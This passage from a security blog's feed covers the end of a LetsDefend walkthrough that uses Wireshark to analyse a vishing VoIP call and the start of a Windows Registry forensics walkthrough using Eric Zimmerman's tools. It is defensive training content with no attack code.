the VoIP call duration&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b7cf914429a9742b917234ac2d605f4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-phone-number-of-the-bank-that-james-received-a-callfrom&#34;&gt;Question 5: What is the phone number of the bank that James received a call from?&#xA;&lt;/h3&gt;&lt;p&gt;Using the same process as above, check the &lt;code&gt;From&lt;/code&gt; column to determine the phone number of the &amp;ldquo;bank.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/0b78f34020aadc4669c1c595b780d4c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the VoIP caller&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/056c8d72666c874d4c53105ad4c6775b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-name-of-the-bankcalling&#34;&gt;What is the name of the bank calling?&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-jamess-socialnumber&#34;&gt;What is James&amp;rsquo;s Social Number?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve analyzed the VoIP traffic at the packet level, we&amp;rsquo;re going to pivot and actually listen to the assembled audio of the call from the &lt;code&gt;VoIP Call&lt;/code&gt; window—how cool is that?&lt;/p&gt;&#xA;&lt;p&gt;But first, in order to leverage Wireshark&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RTP Player&lt;/strong&gt;&lt;/a&gt; to listen to the audio content of the call, we&amp;rsquo;ll need to connect to the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine over the &lt;strong&gt;Remote Desktop Protocol (RDP)&lt;/strong&gt; rather than using the browser-based interface so that audio can be passed through to our speakers.&lt;/p&gt;&#xA;&lt;p&gt;So, how do we do this? According to the &lt;a class=&#34;link&#34; href=&#34;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Help Center&lt;/strong&gt;&lt;/a&gt;, there is an option to manually connect with your RDP client by selecting the flag icon at the top of the LetsDefend challenge page to view the IP address of your VM and the credentials to access it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;488px&#34; data-flex-grow=&#34;203&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/7d3121777f87356dde4ed2703336a76f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend: Locating RDP connection info&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve connected to the LetsDefend environment via RDP, clear the Wireshark filters and access the &lt;code&gt;Telephony &amp;gt; VoIP Calls&lt;/code&gt; window again to display the full VoIP call contents. Press the &lt;code&gt;Play Streams&lt;/code&gt; button to access the RTP Player.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;396px&#34; data-flex-grow=&#34;165&#34; height=&#34;484&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/59f80c1c2f8668732e592e18399765cf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Location of play sound option in VoIP window&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;re finally on the RTP Player, the last step is pressing the play button to listen to the call to discover the purported name of the bank and to hear James divulge his social security number.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;505&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fd2343e5f13eabebf92cec6edc853a38_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The RTP Player&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified these two items from the RTP player, let&amp;rsquo;s submit our answers and close out this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/4ba98490e3e1eb7c1ea16b5a083e0f2a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/c70aae1efc5468fe1b44dfc0ca03e5b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b79c9db89895e6efe19bd26bc898294e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the end! By leveraging Wireshark to examine the data of the vishing call, we&amp;rsquo;ve successfully determined the number of RTP packets that carried the content of the call, when the attack occurred, the attacker&amp;rsquo;s SIP phone number, which bank they were impersonating, and what data was compromised. Now that we have a full understanding of the attack, we can report back to James and help get him back on his feet. What great friends we are!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another cool and interesting challenge! I selected this one because I was completely unaware that Wireshark had VoIP call analysis functions built-in, and I&amp;rsquo;ve used a separate tool for VoIP analysis in the real world. By going hands-on and being challenged to test different scenarios with familiar tools, I&amp;rsquo;ve been able to consolidate my toolkit and gain a better understanding of how I can utilize applications like Wireshark more efficiently — awesome! I hope you learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/voip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Wiki — RTP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/RTP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Wiki — SIP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SIP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/SIP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Docs — Playing VoIP Calls:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;LetsDefend Help Center:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Windows Registry Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/</link>
            <pubDate>Sun, 04 May 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Windows Registry Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--windows-registry-challenge-walkthrough&#34;&gt;LetsDefend — Windows Registry Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-windows-registry-forensic-investigation-using-eric-zimmermans-registry-explorer-shellbags-explorerappcompatcacheparser-and-amcacheparser&#34;&gt;A Windows Registry forensic investigation using Eric Zimmerman&amp;rsquo;s Registry Explorer, ShellBags Explorer, &lt;strong&gt;AppCompatCacheParser, and AmcacheParser.&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/windows-registry&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Registry&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re diving deep into investigating the &lt;strong&gt;Windows Registry&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a cybersecurity analyst, you&amp;rsquo;ve been given an image containing all the registry hives from one of our employee&amp;rsquo;s machines. Your task is to thoroughly examine the provided artifacts and respond to a series of questions based on your analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re wearing our cybersecurity analyst hat, and are handed an image with a registry dump of all of the hives from a Windows device. Our objective is to sift through the artifacts and find the information requested to move forward through our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What&amp;rsquo;s in our tool kit for this investigation?&lt;/strong&gt; We&amp;rsquo;re going to leverage several tools from &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s forensic&lt;/strong&gt;&lt;/a&gt; suite to parse and explore the various registry hives, including: &lt;strong&gt;Registry Explorer&lt;/strong&gt;, &lt;strong&gt;ShellBags Explorer&lt;/strong&gt;, &lt;strong&gt;AppCompatCacheParser&lt;/strong&gt;, and &lt;strong&gt;AmcacheParser&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s not all! To provide detailed explanations and enrich our investigation, we&amp;rsquo;ll refer to detailed write-ups from the &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/resource-center/blogs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt; blog&lt;/a&gt; to gain comprehensive insights into the forensic process and how the registry works. This challenge is a great primer to the world of registry forensics! Sounds like fun, right? Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-users-wereadded&#34;&gt;Question 1: How many users were added?&#xA;&lt;/h3&gt;&lt;p&gt;To kick off our investigation, let&amp;rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.&lt;/p&gt;&#xA;&lt;p&gt;First, extract the archive file &lt;code&gt;RegistryImage.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; directory. Then, let&amp;rsquo;s take a look at the challenge artifacts. Since this is a registry challenge, we&amp;rsquo;ll start with the contents of the &lt;code&gt;ChallengeFile\C\Windows\System32\config&lt;/code&gt; directory, which is the directory where the registry files are stored. Inside, we&amp;rsquo;ll find that the folder contains a dump of the system-wide &lt;strong&gt;Windows&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Hives&lt;/strong&gt;&lt;/a&gt; (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we&amp;rsquo;ll need to analyze to tackle the investigation.&lt;/p&gt;&#xA;&lt;p&gt;Each of these hives contain different keys pertaining to various aspects of the device. Don&amp;rsquo;t worry, we&amp;rsquo;ll go into these in more detail later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;595&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/dc30f3e38dbac2283404f45e8e4a61e5_MD5.png&#34; width=&#34;787&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hive Artifacts&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s check out the contents of the &lt;code&gt;Tools&lt;/code&gt; folder within the analysis environment. Inside, we&amp;rsquo;ll see that we have access to a number of tools, several that are used to parse and view registry hives.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/a6c7be0ca08bdff31ba3dbeb65621d68_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tools Folder Contents&lt;/p&gt;&#xA;&lt;p&gt;For the first part of this investigation, we&amp;rsquo;ll be leveraging &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This GUI-based tool is part of Eric Zimmerman&amp;rsquo;s tool suite and is a &amp;quot; # &amp;ldquo;Registry viewer with searching, multi-hive support, plugins, and more.&amp;ldquo;To uncover the number of users on the system and answer &lt;strong&gt;Question 1,&lt;/strong&gt; we&amp;rsquo;ll need to load the &lt;strong&gt;Security Account Manager (SAM) Hive&lt;/strong&gt; which contains user information like username, group membership, and login information. To load this hive, perform the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the Registry Explorer folder and launch the application.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;File &amp;gt; Load Hive&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the SAM hive from the &lt;code&gt;ChallengeFile\C\Windows\System32\config&lt;/code&gt; directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Once we load the &lt;strong&gt;SAM&lt;/strong&gt; hive with Registry Explorer, we can use the available &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Users (User accounts)&lt;/strong&gt;&amp;rdquo;&#xA;bookmark to identify the users on the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b79491cf4abbbbf38930418c77c9b3b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Users Bookmark&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll find there are four built-in users, and two additional users added to the system. This is easier to see if you expand the &lt;code&gt;User Name&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;603&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/9af4e85c9381371ccec80289ceced7c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the Added User Accounts&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/4958d0b54977ab01837639a438d91311_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-build-number-of-the-users-operating-system&#34;&gt;Question 2: What is the build number of the user&amp;rsquo;s operating system?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we&amp;rsquo;ll need to discover the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;BuildNumber&amp;rdquo;&#xA;of the operating system of the machine the dump was captured from. Since this isn&amp;rsquo;t user account-related, we&amp;rsquo;ll need to load another registry artifact — the &lt;strong&gt;SOFTWARE hive&lt;/strong&gt; which contains the information, settings, and preferences for software installed on the system, including the operating system.&lt;/p&gt;&#xA;&lt;p&gt;Once we load the SOFTWARE hive into Registry Explorer, we&amp;rsquo;ll receive the following &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;dirty hive&amp;quot;&#xA;error message referencing the transaction logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;735px&#34; data-flex-grow=&#34;306&#34; height=&#34;261&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/82b99731da20fcf9599fea2f23e82eaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Dirty hive warning&lt;/p&gt;&#xA;&lt;p&gt;To avoid this error, we can cancel the dialogue and reload the hive, this time holding down SHIFT when pressing Open. This will prevent us from needing to manually select the transaction log files and saving a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;clean&amp;quot;&#xA;hive for separate analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;627px&#34; data-flex-grow=&#34;261&#34; height=&#34;306&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/96819b1d033bdde6de100c3005d05ef2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Transaction log replay confirmation&lt;/p&gt;&#xA;&lt;p&gt;Now that the SOFTWARE hive is loaded, let&amp;rsquo;s browse it using the available common bookmark, &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CurrentVersion (Windows version information (Windows NT key))&amp;quot;&#xA;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b5215db71f4c32ba300dc4fd7d7f0838_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the CurrentVersion bookmark&lt;/p&gt;&#xA;&lt;p&gt;This will take us to the &lt;code&gt;CurrentVersion&lt;/code&gt; key where we can identify the OS build number in the &lt;code&gt;CurrentBuild&lt;/code&gt; value and successfully answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7a9e03f8ba6eabb42213e189500aeada_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the build number of the OS&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/4f2e503a4251a8aabedfcd436ed60837_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-was-the-ip-address-of-the-machine-you-are-investigating-rightnow&#34;&gt;Question 3: What was the IP address of the machine you are investigating right now?&#xA;&lt;/h3&gt;&lt;p&gt;For the next task, we&amp;rsquo;ll need to identify the IP address of the machine we&amp;rsquo;re investigating. We can locate this information by loading a third registry hive, the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive. The SYSTEM hive contains the system&amp;rsquo;s configuration settings including the network interfaces.&lt;/p&gt;&#xA;&lt;p&gt;Follow the same process that we used in &lt;strong&gt;Question 2&lt;/strong&gt; to bypass the dirty hive error message. We can then use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Interfaces (DHCPNetworkHints, NetworkSettings Plugins)&amp;quot;&#xA;** bookmark to identify the relevant network configuration information including the assigned IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/fbf1ff99ae54096e6482c6f06956406d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Interfaces bookmark&lt;/p&gt;&#xA;&lt;p&gt;The value we&amp;rsquo;re looking for to answer &lt;strong&gt;Question 3&lt;/strong&gt; is the &lt;code&gt;DHCPIP Address&lt;/code&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;599&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/88bb7fc80f77e20c81c4b9cc844726b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the Machine&amp;rsquo;s IP 